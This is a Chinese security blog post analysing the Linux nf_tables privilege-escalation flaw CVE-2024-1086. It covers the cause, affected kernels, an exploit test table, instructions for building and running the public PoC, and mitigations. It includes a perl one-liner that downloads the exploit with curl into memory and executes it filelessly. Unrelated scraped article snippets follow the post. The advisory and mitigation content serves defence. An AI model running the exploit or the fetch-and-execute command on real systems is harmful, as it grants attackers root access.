Linux Kernel nf_tables 本地权限提升漏洞(CVE-2024-1086)
文章目录
- 前言
- 声明
- 一、netfilter介绍
- 二、漏洞成因
- 三、漏洞危害
- 四、影响范围
- 五、漏洞复现
- 六、修复方案
- 临时解决方案
- 升级修复方案
前言
2024年1月,各Linux发行版官方发布漏洞公告,修复了一个 netfilter:nf_tables 模块中的释放后重用漏洞(CVE-2024-1086)。鉴于该漏洞易于利用,并且允许本地攻击者提升至root权限。
声明
请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
一、netfilter介绍
netfilter是Linux内核的一个子系统,允许实现各种网络相关操作,如数据包过滤、网络地址转换(NAT)和端口转换。而nf_tables是netfilter的一部分,用于定义和管理防火墙规则。
二、漏洞成因
Linux内核版本v5.14 - v6.6的netfilter 子系统nf_tables组件中存在释放后使用漏洞,由于在nft_verdict_init()函数中,允许正值作为hook判决中的丢弃错误,因此当NF_DROP发出类似于NF_ACCEPT的丢弃错误时,nf_hook_slow()函数可能会导致双重释放漏洞,本地低权限威胁者可利用该漏洞将权限提升为root。
三、漏洞危害
该漏洞可以被本地攻击者利用,从普通用户提升到ROOT用户权限。
四、影响范围
该漏洞影响了使用Linux内核版本v5.14 - v6.6 版本(不包括分支修补版本 v5.15.149、v6.1.76和v6.6.15)的大多数 Linux系统/内核,包括CentOS、Debian、Ubuntu和 KernelCTF等。
部分内核版本PoC/EXP测试结果如下:
Kernel | Kernel Version | Distro | Distro Version | Working/Fail | CPU Platform | CPU Cores | RAM Size | Fail Reason | Test Status | Config URL |
---|---|---|---|---|---|---|---|---|---|---|
Linux | v5.4.270 | n/a | n/a | fail | QEMU x86_64 | 8 | 16GiB | [CODE] pre-dated nft code (denies rule alloc) | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.4.270.config |
Linux | v5.10.209 | n/a | n/a | fail | QEMU x86_64 | 8 | 16GiB | [TCHNQ] BUG mm/slub.c:4118 | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.10.209.config |
Linux | v5.14.21 | n/a | n/a | working | QEMU x86_64 | 8 | 16GiB | n/a | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.14.21.config |
Linux | v5.15.148 | n/a | n/a | working | QEMU x86_64 | 8 | 16GiB | n/a | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.15.148.config |
Linux | v5.16.20 | n/a | n/a | working | QEMU x86_64 | 8 | 16GiB | n/a | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.16.20.config |
Linux | v5.17.15 | n/a | n/a | working | QEMU x86_64 | 8 | 16GiB | n/a | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.17.15.config |
Linux | v5.18.19 | n/a | n/a | working | QEMU x86_64 | 8 | 16GiB | n/a | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.18.19.config |
Linux | v5.19.17 | n/a | n/a | working | QEMU x86_64 | 8 | 16GiB | n/a | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.19.17.config |
Linux | v6.0.19 | n/a | n/a | working | QEMU x86_64 | 8 | 16GiB | n/a | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.0.19.config |
Linux | v6.1.55 | KernelCTF | Mitigation v3 | working | QEMU x86_64 | 8 | 16GiB | n/a | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-kernelctf-mitigationv3-v6.1.55.config |
Linux | v6.1.69 | Debian | Bookworm 6.1.0-17 | working | QEMU x86_64 | 8 | 16GiB | n/a | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-debian-v6.1.0-17-amd64.config |
Linux | v6.1.69 | Debian | Bookworm 6.1.0-17 | working | AMD Ryzen 5 7640U | 6 | 32GiB | n/a | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-debian-v6.1.0-17-amd64.config |
Linux | v6.1.72 | KernelCTF | LTS | working | QEMU x86_64 | 8 | 16GiB | n/a | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-kernelctf-lts-v6.1.72.config |
Linux | v6.2.? | Ubuntu | Jammy v6.2.0-37 | working | AMD Ryzen 5 7640U | 6 | 32GiB | n/a | final | |
Linux | v6.2.16 | n/a | n/a | working | QEMU x86_64 | 8 | 16GiB | n/a | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.2.16.config |
Linux | v6.3.13 | n/a | n/a | working | QEMU x86_64 | 8 | 16GiB | n/a | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.3.13.config |
Linux | v6.4.16 | n/a | n/a | fail | QEMU x86_64 | 8 | 16GiB | [TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.4.16.config |
Linux | v6.5.3 | Ubuntu | Jammy v6.5.0-15 | fail | QEMU x86_64 | 8 | 16GiB | [TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-ubuntu-jammy-v6.5.0-15.config |
Linux | v6.5.13 | n/a | n/a | fail | QEMU x86_64 | 8 | 16GiB | [TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.5.13.config |
Linux | v6.6.14 | n/a | n/a | fail | QEMU x86_64 | 8 | 16GiB | [TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.6.14.config |
Linux | v6.7.1 | n/a | n/a | fail | QEMU x86_64 | 8 | 16GiB | [CODE] nft verdict value incorrect is altered by kernel | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.7.1.config |
注意事项:
(1)该漏洞不适用于带有 kconfig 的 v6.4> 内核CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y
(包括 Ubuntu v6.5)
(2)该漏洞利用需要用户命名空间 (kconfig CONFIG_USER_NS=y
),这些用户命名空间没有特权 (sh command sysctl kernel.unprivileged_userns_clone
= 1),并且 nf_tables 已启用 (kconfig CONFIG_NF_TABLES=y
)。默认情况下,这些在 Debian、Ubuntu 和 KernelCTF 上均已启用。其他发行版尚未经过测试,但可能也可以工作。此外,该漏洞仅在 x64/amd64 上进行了测试。
(3)在具有大量网络活动的系统上, 该漏洞可能非常不稳定
- 带有 WiFi 适配器的系统,当被高使用率 WiFi 网络包围时,会非常不稳定。
- 在测试设备上,请通过 BIOS 关闭 WiFi 适配器。
(4)运行漏洞后的内核恐慌(系统崩溃)是一种副作用,没有故意修复以防止恶意使用漏洞(即,漏洞利用尝试现在应该更引人注目,并且在实际操作中不切实际)。尽管如此,它仍然允许在实验室环境中进行有效的概念验证,因为根 shell 可以正常工作,并且可以通过磁盘进行持久化。
配置
默认值应该可以在 Debian
、Ubuntu
和 KernelCTF
上使用本地 shell 开箱即用。在未经测试的设置/发行版上,请确保 kconfig 值与目标内核匹配。这些可以在 中指定src/config.h
。如果您在物理内存超过 32GiB 的计算机上运行该漏洞,请确保增加CONFIG_PHYS_MEM
.如果您通过 SSH(进入测试机器)或反向 shell 运行漏洞利用程序,您可能需要切换CONFIG_REDIRECT_LOG
以1
避免不必要的网络活动。
五、漏洞复现
公开EXP/POC
#拉取项目并编译
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
#然后运行
./exploit
该项目还支持无落地文件的方法去使用,不过需要目标存在perl的前提
perl -e 'require qw/syscall.ph/;my $fd = syscall(SYS_memfd_create(), $fn, 0);system "curl https://example.com/exploit -s >&$fd";exec {"/proc/$$/fd/$fd"} "memfd";
'
六、修复方案
临时解决方案
1、通过防止加载受影响的 nf_tables 内核模块可以缓解此漏洞,在禁用之前,需要仔细评估确认禁用该模块带来的影响,例如:iptables 可能需要 nf_tables 模块才能工作。
RedHat/CentOS:
# echo 'blacklist nf_tables' >> /etc/modprobe.d/blacklist-nf_tables.conf
# dracut -f
# reboot 重启后即可禁用
Debian/Ubuntu:
# sudo echo 'blacklist nf_tables' >> /etc/modprobe.d/blacklist-nf_tables.conf
# sudo update-initramfs -u
# reboot 重启后即可禁用
2、如果无法禁用 nf_tables 内核模块,在系统上没有运行任何容器的情况下,可以通过禁用用户命名空间来缓解漏洞。在禁用之前,需要仔细评估并确认禁用所带来的影响,例如:许多容器实现需要使用 user_namespaces 来增强安全性和隔离性。
RedHat/CentOS:
# echo "user.max_user_namespaces=0" > /etc/sysctl.d/userns.conf
# sysctl -p /etc/sysctl.d/userns.conf
Debian/Ubuntu:
如果不需要,可禁用非特权用户创建命名空间的能力。临时禁用执行以下命令:
# sudo sysctl -w kernel.unprivileged_userns_clone=0
重启后仍然禁用:
# echo kernel.unprivileged_userns_clone=0 | sudo tee /etc/sysctl.d/99-disable-unpriv-userns.conf
升级修复方案
目前该漏洞已经修复,受影响用户可升级到Linux内核v5.15.149
、v6.1.76
、v6.6.15
或更高版本。
相关发行版本已发布漏洞公告,可参考漏洞公告升级对应的Linux内核。
Ubuntu公告:https://ubuntu.com/security/CVE-2024-1086
CentOS漏洞公告:https://lists.centos.org/pipermail/centos-announce/2024-March/099235.html
RedHat漏洞公告:https://access.redhat.com/security/cve/cve-2024-1086
Debian漏洞公告:https://security-tracker.debian.org/tracker/CVE-2024-1086
统信漏洞公告:https://src.uniontech.com/#/security_advisory_detail?utsa_id=UTSA-2024-000633
麒麟漏洞公告:https://kylinos.cn/support/loophole/patch/5561.html
相关文章:
Linux Kernel nf_tables 本地权限提升漏洞(CVE-2024-1086)
文章目录 前言声明一、netfilter介绍二、漏洞成因三、漏洞危害四、影响范围五、漏洞复现六、修复方案临时解决方案升级修复方案 前言 2024年1月,各Linux发行版官方发布漏洞公告,修复了一个 netfilter:nf_tables 模块中的释放后重用漏洞(CVE-…...
[word] word如何清除超链接 #媒体#笔记#知识分享
word如何清除超链接 办公中,少不了使用word,这个是大家必备的软件,今天给大家分享下word如何清除超链接的操作办法,一起来学习下吧! 1、清除所有超链接 按下组合键CtrlshiftF9,就可以将网上复制带有超链…...
【Linux】进程(9):进程控制1
大家好,我是苏貝,本篇博客带大家了解Linux进程(9)进程控制1,如果你觉得我写的还不错的话,可以给我一个赞👍吗,感谢❤️ 目录 1 fork函数2 进程终止(A)终止是…...
华为RH2288H V3服务器iBMC的SSL证书续期
本文对华为RH2288H V3服务器iBMC的SSL证书续期,以避名登录告警提示及主机状态异常。 一、检查现网服务器iBMC的SSL证书到期时间 登录iBMC,点击配置--SSL证书,如下: 可以看到本服务器SSL证书将于今年7月22日到期。 二、联系厂家…...
ubuntu开机黑屏
BusyBox v1.30.1 (Ubuntu 1:1.30.1-4ubuntu6.1) built-in shell (ash) Enter help for a list of built-in commands. 解决: help 看看哪个盘出问题了 fsck -y /dev/sda1 (出问题的磁盘/分区) reboot 就可以进入系统了 fsck命令…...
【risc-v】arm和riscv有什么关系或者联系?
ARM和RISC-V都是基于精简指令集计算(RISC)原理的处理器架构,它们在设计理念上有一定的联系,但同时存在一些关键的区别: 设计理念:ARM和RISC-V都采用了RISC的核心设计原则,即通过简化指令集来提高…...
Flutter项目开发模版,开箱即用
前言 当前案例 Flutter SDK版本:3.22.2 每当我们开始一个新项目,都会 引入常用库、封装工具类,配置环境等等,我参考了一些文档,将这些内容整合、简单修改、二次封装,得到了一个开箱即用的Flutter开发模版…...
私有仓库搭建
目前市面上比较常见的私有仓库搭建方法为: 通过 Sinopia 或 verdaccio 搭建(Sinopia 已经停止维护,verdaccio 是 Fork 自 Sinopia,基本上大同小异),其优点是搭建简单,不需要其他服务。通过 cnp…...
axios设置 responseType为 “stream“流式获取后端数据
使用前景: 工作过程中遇到了后端接口响应过慢,前端界面一致loading的情况,这个时候可以尝试采用将Axios的responseType参数被设置为stream类型实现。 stream介绍: stream类型意味着你希望服务器响应的数据以Node.js流ÿ…...
Apache POI(使用Java读写Excel表格数据)
1.Apache POI简介 Apache POI是一个开源的Java库,用于操作Microsoft Office格式的文件。它支持各种Office文档的读写功能,包括Word文档、Excel电子表格、PowerPoint演示文稿、Outlook电子邮件等。Apache POI提供了一组API,使得Java开发者能够…...
golang中只用定义不用初始化的类型规律总结
在go语言的开发中,有很多的内置类型是我们只需要定义而不需要初始化的, 如上文中提到的bytes.Buffer, strings.Builder。 其实在go语言中官方给我们定义的很多的类型都只需要定义,不需要初始化。 他们都有2个共同的规律ÿ…...
数据库之PostgreSQL详解
一、PostgreSQL介绍 PostgreSQL是一个功能强大的 开源 的关系型数据库。底层基于C实现。 PostgreSQL的开源协议和Linux内核版本的开源协议是一样的。。BDS协议,这个协议基本和MIT开源协议一样,说人话,就是你可以对PostgreSQL进行一些封装&a…...
找出链表倒数第k个元素-链表题
LCR 140. 训练计划 II - 力扣(LeetCode) 快慢指针。快指针臂慢指针快cnt个元素到最后; class Solution { public:ListNode* trainingPlan(ListNode* head, int cnt) {struct ListNode* quick head;struct ListNode* slow head;for(int i …...
ssm629基于SSM的二手交易平台设计与开发+jsp【已测试】
前言:👩💻 计算机行业的同仁们,大家好!作为专注于Java领域多年的开发者,我非常理解实践案例的重要性。以下是一些我认为有助于提升你们技能的资源: 👩💻 SpringBoot…...
【Unity】资源管理与热更 YooAsset+HybridCLR
1 前言 Unity资源管理与热更新该用什么方法?当然是YooAssetHybridCLR了,YooAsset负责资源管理与热更,HybridCLR负责支持代码热更。 但这里我就不自己讲了,我会提供相关学习链接(前人栽树我躺平)。 2 学习链…...
PDF批量加水印 与 去除水印实践
本文主要目标是尝试去除水印,但是为了准备测试数据,我们需要先准备好有水印的pdf测试文件。 注意:本文的去水印只针对文字悬浮图片悬浮两种特殊情况,即使是这两种情况也不代表一定都可以去除水印。 文章目录 批量添加透明图片水印…...
【MySQL】服务器配置和管理
本文使用的MySQL版本是8.0 MySQL服务器介绍 MySQL服务器通常说的是mysqld程序。 mysqld 是 MySQL 数据库服务器的核心程序,负责处理客户端的请求、管理数据库和执行数据库操作。管理员可以通过配置文件和各种工具来管理和监控 mysqld 服务器的运行 官方文档&…...
限流定义、算法、实施方案
限流定义 1、 时间 , 基于某段时间或某个时间点,即:时间窗口 2、资源: 对可用资源进行限制: QPS/连接数/传输速率/黑白名单等 分布式环境下,主流限流方案: 网关层限流:流量入口Ngi…...
[312. 戳气球] 动态规划寻找转移函数
Problem: 312. 戳气球 文章目录 思路Code 思路 这个哥们写的思路真的很牛逼,转载一下他。 戳气球题解 Code class Solution { public:int maxCoins(vector<int>& nums) {nums.insert(nums.begin(), 1);nums.push_back(1);int n nums.size();vector<v…...
以操作系统和Java的视角看“中断“
引言 fucking-java-concurrency主要解读了在开发过程中常常会遇到的Java并发问题,本文主要总结Java的中断原理和应用。 PS: https://github.com/WeiXiao-Hyy/blog整理了后端开发的知识网络,欢迎Star! 操作系统的中断 什么是中断࿱…...
【运维】如何在Ubuntu 22上使用Python 3.8的虚拟环境
在Ubuntu 22上使用Python 3.8的虚拟环境安装Ryu是相对简单的。以下是一步一步的指南: https://qq742971636.blog.csdn.net/article/details/139566151 安装Python 3.8: 在Ubuntu 22上,Python 3.8可能不是默认安装的版本。你可以使用以下命令…...
门面模式Api网关(SpringCloudGateway)
1. 前言 当前通过Eureka、Nacos解决了服务注册和服务发现问题,使用Spring Cloud LoadBalance解决了负载均衡的需求,同时借助OpenFeign实现了远程调用。然而,现有的微服务接口都直接对外暴露,容易被外部访问。为保障对外服务的安全…...
玩转Matlab-Simscape(初级)- 09 - 在Simulink中创建曲柄滑块机构的控制模型
** 玩转Matlab-Simscape(初级)- 09 - 在Simulink中创建曲柄滑块机构的控制模型 ** 目录 玩转Matlab-Simscape(初级)- 09 - 在Simulink中创建曲柄滑块机构的控制模型 前言一、问题描述二、创建模型2.1 识别机构中的刚体2.2 确定刚…...
手撸一个java网关框架
手写一个简易的Java网关框架涉及到很多方面,但我会提供一个基本的框架概念和代码示例,帮助你理解网关的基本构建。以下是一个简单的Java网关框架的实现: 定义路由:需要一个路由表来映射请求的URL到对应的处理器。 请求处理&#x…...
亮数据代理IP助力高效数据采集
文章目录 📑前言一、爬虫数据采集痛点二、代理IP解决爬虫痛点2.1 为什么可以2.2 本篇采用的代理IP 四、零代码获取数据4.1 前置背景4.2 亮数据浏览器自动抓取数据4.3 使用步骤: 五、数据集5.1 免费样本5.2 定制数据集 🌤️个人小结 …...
VS2022,DLL1调用lib,lib调用DLL2
DLL1调用lib,lib调用DLL2 问题1:为什么在dll1中需要引入dll2的.lib文件 当你有一个工程(dll1)调用静态库(lib),而静态库(lib)又调用另一个DLL(dll2…...
Unity Mirror VR联机开发 房间篇
一、需求 在联机时通常有加入房间这个步骤,在mirror示例中也有相应的案例,但是那个比较复杂,我们做教育科普类不需要如此复杂,傻瓜式操作基本就可以了,所以我简化了步骤,省略了点击准备按钮这一步骤&#…...
二叉树—leetcode
前言 本篇博客我们来仔细说一下二叉树二叉树的一些OJ题目 请看完上一篇:数据结构-二叉树-CSDN博客 💓 个人主页:普通young man-CSDN博客 ⏩ 文章专栏:LeetCode_普通young man的博客-CSDN博客 若有问题 评论区见📝 &…...
shell编程(二)——字符串与数组
本文为shell 编程的第二篇,介绍shell中的字符串和数组相关内容。 一、字符串 shell 字符串可以用单引号 ‘’,也可以用双引号 “”,也可以不用引号。 单引号的特点 单引号里不识别变量单引号里不能出现单独的单引号(使用转义符…...
【数据结构】二叉树专题
前言 本篇博客我们来看一些二叉树的经典题型,也是对上篇博客的补充 💓 个人主页:小张同学zkf ⏩ 文章专栏:数据结构 若有问题 评论区见📝 🎉欢迎大家点赞👍收藏⭐文章 目录 1.单值二叉树 …...
毕业设计网站用什么做/深圳新闻最新事件
环境 springbootajax谷歌浏览器 我看了网上很多文章,都是说ajax会发送一个预检请求,然后发送的是OPTION的方法,不会携带任何数据,所以需要放行这个预检请求,但是我自己走断点看,他第一个请求都是GET方法&…...
轻量级服务器wordpress密钥/搜索引擎优化的要点
问题所处环境:IIS 7.5, ASP.NET 4.0, 应用程序池(Application Pool)运行于集成模式(Integrated)。 今天一位园友向我们反馈用网摘收藏博客文章LINQ那些事(9)-解析Table<T>.Attach引发的异常和解决方法时出错(注意:文章标题中有尖括号&a…...
做网站的价格/怎么快速优化关键词排名
在双十一购买完智能电视后,安装自己喜欢的软件,或许是在正常不过的事情了,但有时候我们会碰到一些APK无法识别,这个时候还以为会认为自己买的是假货,但实际上,这并不是电视的问题,而今天小编就教大家,一旦碰倒APK无法识别时应该如何解决,帮助你能拥有更好的观看体验。首先就是要…...
重庆网站建设 狐灵/软文营销的优势
#开始学习HTML,关于几种简单的标签(上) ##1.标签的意义和用途 标签的用途:我们学习网页制作时,常常会听到一个词,语义化。那么什么叫做语义化呢,说的通俗点就是:明白每个标签的用途&…...
雅虎网站收录提交入口/千锋教育的口碑怎么样
为什么80%的码农都做不了架构师?>>> 微服务需要考虑的几点内容, :) 团队规模 团队成员能否围坐在一张桌边? Yes! -- 你可能不需要微服务 好文档和好设计可以轻易解决部署等运维操作中遇到的挑战。而微服务要解决的问题你还没有遇…...
网站建设实训意见和建议/seo关键词优化报价
## php利用phpExcel 导出数组为Excelphp/*** 导出多页的excel** param [type] $fileName 文件名* param [type] $Data 数据* param [type] $sheets 工作区数量[可选]* author Tan * return void*/function exportExcel_sheets($fileName,$Data,$sheets) {$fileName empty($fil…...